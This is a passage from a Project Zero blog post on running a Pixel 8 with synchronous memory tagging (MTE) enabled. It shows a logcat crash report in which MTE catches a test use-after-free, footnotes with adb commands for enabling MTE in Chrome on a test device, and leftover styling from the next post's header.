<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Without MTE, it's unlikely that the application would crash running this code. I also made sure that the application manifest does not set MTE, so it will inherit the default. When we launch the application we will see whether it crashes, and whether the crash is caused by an MTE check failure!</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="c21 title" id="h.d9qhosed13lf"></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBr9j-dr80RvnKDtyymIUa-olnp9ByD4_KTfJObFeKt6zOyw6IOXWI005OT5JmtcWXHFyTjTVsu_Rc4HcdUDRxsTJce3w0ZqL98JrZKNFEgPmVdED-U79ZUhnxhsysMjhCQqpSzSTXnkshRQbHZpno5CvlfP7NanoRWvUTKwcAZSnFg4YZwEpEF5M0y40/s2400/record.webp" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBr9j-dr80RvnKDtyymIUa-olnp9ByD4_KTfJObFeKt6zOyw6IOXWI005OT5JmtcWXHFyTjTVsu_Rc4HcdUDRxsTJce3w0ZqL98JrZKNFEgPmVdED-U79ZUhnxhsysMjhCQqpSzSTXnkshRQbHZpno5CvlfP7NanoRWvUTKwcAZSnFg4YZwEpEF5M0y40/s1200/record.webp" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Looking at the logcat output we can see that the cause of the crash was a synchronous MTE tag check failure (</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">SEGV_MTESERR</span><span class="XtVSyvVaud-c3">).</span></p>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Build fingerprint: 'google/shiba/shiba:14/UD1A.230803.041/10808477:user/release-keys'</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Revision: 'MP1.0'</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : ABI: 'arm64'</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Timestamp: 2023-10-24 16:56:32.092532886+0200</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Process uptime: 2s</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Cmdline: com.example.mtetestapplication</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : pid: 24147, tid: 24147, name: testapplication >>> com.example.mtetestapplication <<<</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : uid: 10292</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : tagged_addr_ctrl: 000000000007fff3 (PR_TAGGED_ADDR_ENABLE, PR_MTE_TCF_SYNC, mask 0xfffe)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : signal 11 (SIGSEGV), code 9 (SEGV_MTESERR), fault addr 0x0b000072afa9f790</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x0 0000000000000001 x1 0000007fe384c2e0 x2 0000000000000075 x3 00000072aae969ac</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x4 0000007fe384c308 x5 0000000000000004 x6 7274732074736574 x7 00676e6972747320</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x8 0000000000000020 x9 00000072ab1867e0 x10 000000000000050c x11 00000072aaed0af4</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x12 00000072aaed0ca8 x13 31106e3dee7fb177 x14 ffffffffffffffff x15 00000000ebad6a89</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x16 0000000000000001 x17 000000722ff047b8 x18 00000075740fe000 x19 0000007fe384c2d0</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x20 0000007fe384c308 x21 00000072aae969ac x22 0000007fe384c2e0 x23 070000741fa897b0</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x24 0b000072afa9f790 x25 00000072aaed0c18 x26 0000000000000001 x27 000000754a5fae40</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x28 0000007573c00000 x29 0000007fe384c260</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : lr 00000072ab35e7ac sp 0000007fe384be30 pc 00000072ab1867ec pst 0000000080001000</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : 98 total frames</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : backtrace:</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #00 pc 00000000003867ec /apex/com.android.art/lib64/libart.so (art::(anonymous namespace)::ScopedCheck::Check(art::ScopedObjectAccess&, bool, char const*, art::(anonymous namespace)::JniValueType*) (.__uniq.99033978352804627313491551960229047428)+1636) (BuildId: a5fcf27f4a71b07dff05c648ad58e3cd)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #01 pc 000000000055e7a8 /apex/com.android.art/lib64/libart.so (art::(anonymous namespace)::CheckJNI::NewStringUTF(_JNIEnv*, char const*) (.__uniq.99033978352804627313491551960229047428.llvm.6178811259984417487)+160) (BuildId: a5fcf27f4a71b07dff05c648ad58e3cd)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #02 pc 00000000000017dc /data/app/~~lgGoAt3gB6oojf3IWXi-KQ==/com.example.mtetestapplication-k4Yl4oMx9PEbfuvTEkjqFg==/base.apk!libmtetestapplication.so (offset 0x1000) (_JNIEnv::NewStringUTF(char const*)+36) (BuildId: f60a9970a8a46ff7949a5c8e41d0ece51e47d82c)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">...</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Note: multiple potential causes for this crash were detected, listing them in decreasing order of likelihood.</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">DEBUG : </span><span class="XtVSyvVaud-c2">Cause: [MTE]: Use After Free</span><span class="XtVSyvVaud-c0">, 0 bytes into a 12-byte allocation at 0x72afa9f790</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : deallocated by thread 24147:</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #00 pc 000000000005e800 /apex/com.android.runtime/lib64/bionic/libc.so (scudo::Allocator<scudo::AndroidConfig, &(scudo_malloc_postinit)>::quarantineOrDeallocateChunk(scudo::Options, void*, scudo::Chunk::UnpackedHeader*, unsigned long)+496) (BuildId: a017f07431ff6692304a0cae225962fb)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #01 pc 0000000000057ba4 /apex/com.android.runtime/lib64/bionic/libc.so (scudo::Allocator<scudo::AndroidConfig, &(scudo_malloc_postinit)>::deallocate(void*, scudo::Chunk::Origin, unsigned long, unsigned long)+212) (BuildId: a017f07431ff6692304a0cae225962fb)</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #02 pc 000000000000179c /data/app/~~lgGoAt3gB6oojf3IWXi-KQ==/com.example.mtetestapplication-k4Yl4oMx9PEbfuvTEkjqFg==/base.apk!libmtetestapplication.so (offset 0x1000) (Java_com_example_mtetestapplication_MainActivity_stringFromJNI+40) (BuildId: f60a9970a8a46ff7949a5c8e41d0ece51e47d82c)</span></p>
</div>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">If you just want to check that MTE has been enabled in the bootloader, there's an </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://play.google.com/store/apps/details?id=com.sanitizers.app.production">application on the Play Store</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> from Google's Dynamic Tools team, which you can also use (this app enables MTE in async mode in the manifest, which is why you see below that it's not running in sync mode on all cores):</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOtT6oQclPF7hRKziqlNC7M7GD7BjDlBeVgaEyM500foNJXSlgvp4228zplJQr7HdZz85PJpA-8QKXrpo4t8nLt2Nk4AvLO4o0JIzFJFJ1R1EWEeLklM3dzHpXDQAm9WliYKYqPoe-PtBPtt0sRQDoqQOLFbGHEsqcqMBuw4zWH7qNv09XhtLFt9CJgnI/s1212/Screenshot%202023-11-02%20at%209.48.54%E2%80%AFAM.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOtT6oQclPF7hRKziqlNC7M7GD7BjDlBeVgaEyM500foNJXSlgvp4228zplJQr7HdZz85PJpA-8QKXrpo4t8nLt2Nk4AvLO4o0JIzFJFJ1R1EWEeLklM3dzHpXDQAm9WliYKYqPoe-PtBPtt0sRQDoqQOLFbGHEsqcqMBuw4zWH7qNv09XhtLFt9CJgnI/s1212/Screenshot%202023-11-02%20at%209.48.54%E2%80%AFAM.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">At this point, we can go back into the developer settings and disable USB debugging, since we don't want that enabled for normal day-to-day usage. We do need to leave the developer mode toggle on, since disabling that will turn off MTE again entirely on the next reboot.</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3"><br></span><span class="XtVSyvVaud-c25">Conclusion</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">T</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">he Pixel 8 with synchronous-MTE enabled is at least subjectively a performance and battery-life upgrade over my previous phone.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I think this is a huge improvement for the general security of the device - many zero-click attack surfaces involve large amounts of unsafe C/C++ code, whether that's WebRTC for calling, or one of the many media or image file parsing libraries. MTE is </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">not a silver bullet</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> for memory safety - but the release of the first production device with the ability to run almost all user-mode applications with synchronous-MTE is a huge step forward, and something that's worth celebrating!</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c3 XtVSyvVaud-c7"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p><h3 class="XtVSyvVaud-c28" id="h.9x1hlkdzy7n9"><span>1 </span><span class="XtVSyvVaud-c17">On a team member's device, a single MTE detection of a use-after-free bug happened last week. This resulted in a crash that wasn't noticed at the time, but which we later found when looking through the saved crash reports on their device. Because the alloc and free stacktraces of the allocation were recorded, we were able to quickly figure out the bug and report it to the application developers - the bug in this case was caused by user gesture input, and doesn't really have security impact, but it already illustrates some of the advantages of MTE.</span></h3><h3 class="XtVSyvVaud-c28" id="h.c72zfxz1h4jv"><span>2</span><span class="XtVSyvVaud-c3 XtVSyvVaud-c30"> </span><span class="XtVSyvVaud-c17">Except for se (secure element), bluetooth, nfc, and the system server, due to these system apps explicitly setting their individual system properties to 'off' in the Pixel system image.</span></h3><h3 class="XtVSyvVaud-c28" id="h.48b4e8cq1xxw"><span>3 </span><span class="XtVSyvVaud-c17">Enabling MTE in Chrome requires setting multiple command line flags, which on a non-rooted Android device requires configuring Chrome to load the command line flags from a file in /data/local/tmp. This is potentially unsafe, so we'd not suggest doing this, but if you'd like to experiment on a test device or for fuzzing, the following commands will allow you to </span><span class="XtVSyvVaud-c17">run Chrome with MTE enabled</span><span class="XtVSyvVaud-c18 XtVSyvVaud-c3 XtVSyvVaud-c17">:</span></h3>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">markbrand@markbrand:~$ adb shell</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$ umask 022<br>shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$ echo</span><span class="XtVSyvVaud-c4 XtVSyvVaud-c12"> </span><span class="XtVSyvVaud-c2">"_</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">--enable-features=PartitionAllocMemoryTagging:enabled-processes/all-processes/memtag-mode/sync</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">--disable-features=PartitionAllocPermissiveMte,KillPartitionAllocMemoryTagging"</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">></span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">/data/local/tmp/chrome-command-line<br>shiba:/</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c0">$ ls -la /data/local/tmp/chrome-command-line </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">-rw-r--r-- 1 shell shell 176 2023-10-25 19:14 /data/local/tmp/chrome-command-line</span></p>
</div>
<h3 class="XtVSyvVaud-c8"><span><br></span><span class="XtVSyvVaud-c3 XtVSyvVaud-c17 XtVSyvVaud-c18"><b>Having run these commands, we need to configure Chrome to read the command line file; this can be done by opening Chrome, browsing to chrome://flags#enable-command-line-on-non-rooted-devices, and setting the highlighted flag to "Enabled".<br><br>Note that unfortunately this only applies to webpages viewed using the Chrome app, and not to other Chromium-based browsers or non-browser apps that use the Chromium based Android WebView to implement their rendering.</b></span></h3>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-85572423641509346802023-10-13T03:47:00.001-07:002023-10-13T03:47:17.754-07:00An analysis of an in-the-wild iOS Safari WebContent to GPU Process exploit<style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw);.lst-kix_fcb9u51bqgft-4>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-4}ol.lst-kix_shbeio5ln3sf-3.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-3 0}.lst-kix_shbeio5ln3sf-0>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-0}ul.lst-kix_wvnn2lytn2eh-3{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-2{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-5{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-4{list-style-type:none}ul.lst-kix_wvnn2lytn2eh-1{list-style-type:none}.lst-kix_shbeio5ln3sf-6>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-6}ul.lst-kix_wvnn2lytn2eh-0{list-style-type:none}ol.lst-kix_shbeio5ln3sf-7.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-7 0}ol.lst-kix_fcb9u51bqgft-2.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-2 0}.lst-kix_shbeio5ln3sf-5>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-5}.lst-kix_shbeio5ln3sf-3>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-3,decimal) ". "}.lst-kix_shbeio5ln3sf-4>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-4,lower-latin) ". "}.lst-kix_shbeio5ln3sf-5>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-5,lower-roman) ". "}.lst-kix_fcb9u51bqgft-3>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-3}.lst-kix_fcb9u51bqgft-7>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-7,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-2>li:before{content:"\0025a0 "}.lst-kix_wvnn2lytn2eh-3>li:before{content:"\0025cf "}.lst-kix_fcb9u51bqgft-6>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-6,decimal) ". "}.lst-kix_wvnn2lytn2eh-1>li:before{content:"\0025cb "}.lst-kix_wvnn2lytn2eh-5>li:before{content:"\0025a0 "}ol.lst-kix_fcb9u51bqgft-5.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-5 0}.lst-kix_fcb9u51bqgft-5>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-5,lower-roman) ". "}.lst-kix_wvnn2lytn2eh-6>li:before{content:"\0025cf "}.lst-kix_shbeio5ln3sf-2>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-2,lower-roman) ". "}.lst-kix_fcb9u51bqgft-2>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-2,lower-roman) ". "}.lst-kix_fcb9u51bqgft-4>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-4,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-8>li:before{content:"\0025a0 "}.lst-kix_shbeio5ln3sf-1>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-1,lower-latin) ". "}.lst-kix_wvnn2lytn2eh-0>li:before{content:"\0025cf "}ol.lst-kix_shbeio5ln3sf-2.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-2 0}.lst-kix_wvnn2lytn2eh-7>li:before{content:"\0025cb "}ol.lst-kix_fcb9u51bqgft-8.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-8 0}.lst-kix_fcb9u51bqgft-3>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-3,decimal) ". "}ol.lst-kix_shbeio5ln3sf-4{list-style-type:none}ol.lst-kix_shbeio5ln3sf-5{list-style-type:none}ol.lst-kix_fcb9u51bqgft-1.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-1 0}.lst-kix_shbeio5ln3sf-0>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-0,decimal) ". "}ol.lst-kix_shbeio5ln3sf-2{list-style-type:none}.lst-kix_fcb9u51bqgft-0>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-0,decimal) ". "}ol.lst-kix_shbeio5ln3sf-3{list-style-type:none}ol.lst-kix_fcb9u51bqgft-6{list-style-type:none}ol.lst-kix_shbeio5ln3sf-8{list-style-type:none}ol.lst-kix_fcb9u51bqgft-7{list-style-type:none}ol.lst-kix_shbeio5ln3sf-8.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-8 0}ol.lst-kix_fcb9u51bqgft-8{list-style-type:none}ol.lst-kix_shbeio5ln3sf-6{list-style-type:none}.lst-kix_fcb9u51bqgft-1>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-1,lower-latin) ". "}ol.lst-kix_shbeio5ln3sf-7{list-style-type:none}ol.lst-kix_fcb9u51bqgft-2{list-style-type:none}ol.lst-kix_fcb9u51bqgft-3{list-style-type:none}ol.lst-kix_fcb9u51bqgft-4{list-style-type:none}ol.lst-kix_fcb9u51bqgft-5{list-style-type:none}ol.lst-kix_shbeio5ln3sf-5.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-5 0}ol.lst-kix_shbeio5ln3sf-0{list-style-type:none}.lst-kix_wvnn2lytn2eh-4>li:before{content:"\0025cb "}ol.lst-kix_shbeio5ln3sf-1{list-style-type:none}ol.lst-kix_fcb9u51bqgft-0{list-style-type:none}ol.lst-kix_fcb9u51bqgft-1{list-style-type:none}.lst-kix_shbeio5ln3sf-3>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-3}.lst-kix_fcb9u51bqgft-1>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-1}ol.lst-kix_fcb9u51bqgft-4.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-4 0}.lst-kix_fcb9u51bqgft-7>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-7}ol.lst-kix_shbeio5ln3sf-1.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-1 0}.lst-kix_shbeio5ln3sf-8>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-8}ol.lst-kix_fcb9u51bqgft-7.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-7 0}.lst-kix_fcb9u51bqgft-6>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-6}.lst-kix_shbeio5ln3sf-2>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-2}ol.lst-kix_shbeio5ln3sf-4.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-4 0}.lst-kix_shbeio5ln3sf-7>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-7,lower-latin) ". "}.lst-kix_shbeio5ln3sf-6>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-6,decimal) ". "}.lst-kix_shbeio5ln3sf-8>li:before{content:"" counter(lst-ctn-kix_shbeio5ln3sf-8,lower-roman) ". "}.lst-kix_fcb9u51bqgft-8>li:before{content:"" counter(lst-ctn-kix_fcb9u51bqgft-8,lower-roman) ". "}.lst-kix_fcb9u51bqgft-0>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-0}ol.lst-kix_fcb9u51bqgft-0.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-0 0}ol.lst-kix_fcb9u51bqgft-3.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-3 0}ol.lst-kix_shbeio5ln3sf-6.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-6 0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_fcb9u51bqgft-2>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-2}ul.lst-kix_wvnn2lytn2eh-7{list-style-type:none}.lst-kix_fcb9u51bqgft-8>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-8}.lst-kix_shbeio5ln3sf-1>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-1}ul.lst-kix_wvnn2lytn2eh-6{list-style-type:none}.lst-kix_fcb9u51bqgft-5>li{counter-increment:lst-ctn-kix_fcb9u51bqgft-5}.lst-kix_shbeio5ln3sf-4>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-4}ul.lst-kix_wvnn2lytn2eh-8{list-style-type:none}ol.lst-kix_fcb9u51bqgft-6.start{counter-reset:lst-ctn-kix_fcb9u51bqgft-6 0}.lst-kix_shbeio5ln3sf-7>li{counter-increment:lst-ctn-kix_shbeio5ln3sf-7}ol.lst-kix_shbeio5ln3sf-0.start{counter-reset:lst-ctn-kix_shbeio5ln3sf-0 0}ol{margin:0;padding:0}table td,table th{padding:0}.YrefKOOkxY-c27{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:349.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c20{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:middle;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:118.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c23{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:171pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c24{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:297pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c22{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:top;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:286.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c17{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#ffffff;border-top-width:1pt;border-right-width:1pt;border-left-color:#ffffff;vertical-align:middle;border-right-color:#ffffff;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:181.5pt;border-top-color:#ffffff;border-bottom-style:solid}.YrefKOOkxY-c13{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Courier New";font-style:normal}.YrefKOOkxY-c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c6{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.YrefKOOkxY-c10{color:#434343;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Courier New";font-style:normal}.YrefKOOkxY-c30{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.YrefKOOkxY-c29{color:#434343;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.YrefKOOkxY-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.YrefKOOkxY-c21{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:right}.YrefKOOkxY-c11{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.YrefKOOkxY-c25{border-spacing:0;border-collapse:collapse;margin-right:auto}.YrefKOOkxY-c1{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.YrefKOOkxY-c18{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.YrefKOOkxY-c16{font-weight:400;font-family:Consolas,"Courier New"}.YrefKOOkxY-c8{padding:0;margin:0}.YrefKOOkxY-c15{font-weight:700;font-family:"Courier New"}.YrefKOOkxY-c3{font-weight:400;font-family:"Courier 